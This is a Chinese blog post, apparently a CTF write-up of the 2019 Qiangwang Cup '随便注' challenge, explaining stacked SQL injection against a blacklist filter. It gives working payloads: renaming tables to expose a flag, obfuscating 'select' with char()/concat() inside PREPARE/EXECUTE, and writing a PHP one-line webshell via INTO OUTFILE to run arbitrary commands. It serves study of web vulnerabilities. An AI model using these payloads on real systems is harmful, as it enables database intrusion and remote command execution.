[2019强网杯]随便注

[2019强网杯]随便注

考点:1、堆叠注入 2、sql预处理语句

之前做过的一道题,再次遇到发现还是有很多需要学习的地方,也没有记录过堆叠注入的题,所以就想着记一下这道题的一些知识点。

堆叠注入原理

sql中,分号;是用来表示一条sql语句的结束。 所以在;后再接一个sql语句将会一起执行,从而造就了堆叠注入。这里需要注意的是union injection联合注入和堆叠注入是有很大区别的,联合注入只是将两条语句合并在了一起进行执行,所以执行的语句类型是非常有限的,但是堆叠注入可以执行任意语句,所以堆叠注入更具有危险性。

分析题目

进入题目后,我们很容易想到是一个sql注入的题,所以我们就进行常规的验证。

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

返回了过滤掉的命令,过滤掉了select很是难办,我们只能尝试堆叠注入,

1';show databases#

成功执行并返回了正确的内容

image-20220106154523191

看了大佬们的WP,看到了三种解法,接下来我们来一个一个看

修改当前查询表

先看一下当前查询库中有的表show tables,也就是1';show tables#

image-20220106154918941

继续查询表中的字段

show columns from `words`

这里需要非常注意的是:words使用的是反勾号,而不是单引号

linux下不区分,windows下区分
区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg:mysql> SELECT 'hello', "hello" ;

反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM   `table`   WHERE `id` = 'abc' ;

但是这里好像也可以什么都不用,直接show columns from words也是可以的,但是另一个表1919810931114514必须要加反勾号

好了,经过查询我们得知如下信息

table:
	words
columns:
	"id":"int(10)"
	"data":"varchar(20)"
table:
	1919810931114514
columns:
	"flag":"varchar(100)"

堆叠注入的好处就是可以同时执行好多个句子,后台的sql语句查询的是words表,我们可以将表明进行更换,再通过;or 1=1#就可以获得flag

所以我们构造以下的payload

1';rename table `words` to `words2`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100)#

使用预处理语句

sql有一种预处理语句,使用方式为:

prepare name from '[my sql sequece]';   //预定义SQL语句
execute name;  //执行预定义SQL语句
(deallocate || drop) prepare name;  //删除预定义SQL语句

而且我们还可以使用set进行定义变量然后达到绕过黑名单的效果

SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE name from @sql;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

这里我们既可以使用char()方法来拼接字符串,也可以直接利用concat()方法直接拼接

char()根据ASCII表返回给定整数值的字符值
eg:
mysql> SELECT CHAR(77,121,83,81,'76');
-> 'MySQL'

contact()函数用于将多个字符串连接成一个字符串
contact (str1,str2,…) 
eg:
mysql> SELECT CONCAT('My', 'S', 'QL');
-> 'MySQL'

使用char()方法

1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#

直接只用concat()

1';PREPARE jwt from concat('sel' , 'ect', ' * from `1919810931114514` ');EXECUTE jwt;#

使用set定义变量

1';SET @sql=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE jwt from @sql;EXECUTE jwt;#

写入木马Getshell

这个方法简直太强了通过查询发现用户是root

1';Set @sql=concat("s","elect user()");PREPARE sqla from @sql;EXECUTE sqla;

再通过命令写入php一句话木马

1';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;

然后直接通过访问1.php就可以执行任意命令了

/1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\`;"

这个方法简直是太强了,大佬太牛了!

posted @ 2023-01-08 23:26  seizer-zyx  阅读(181)  评论(0编辑  收藏  举报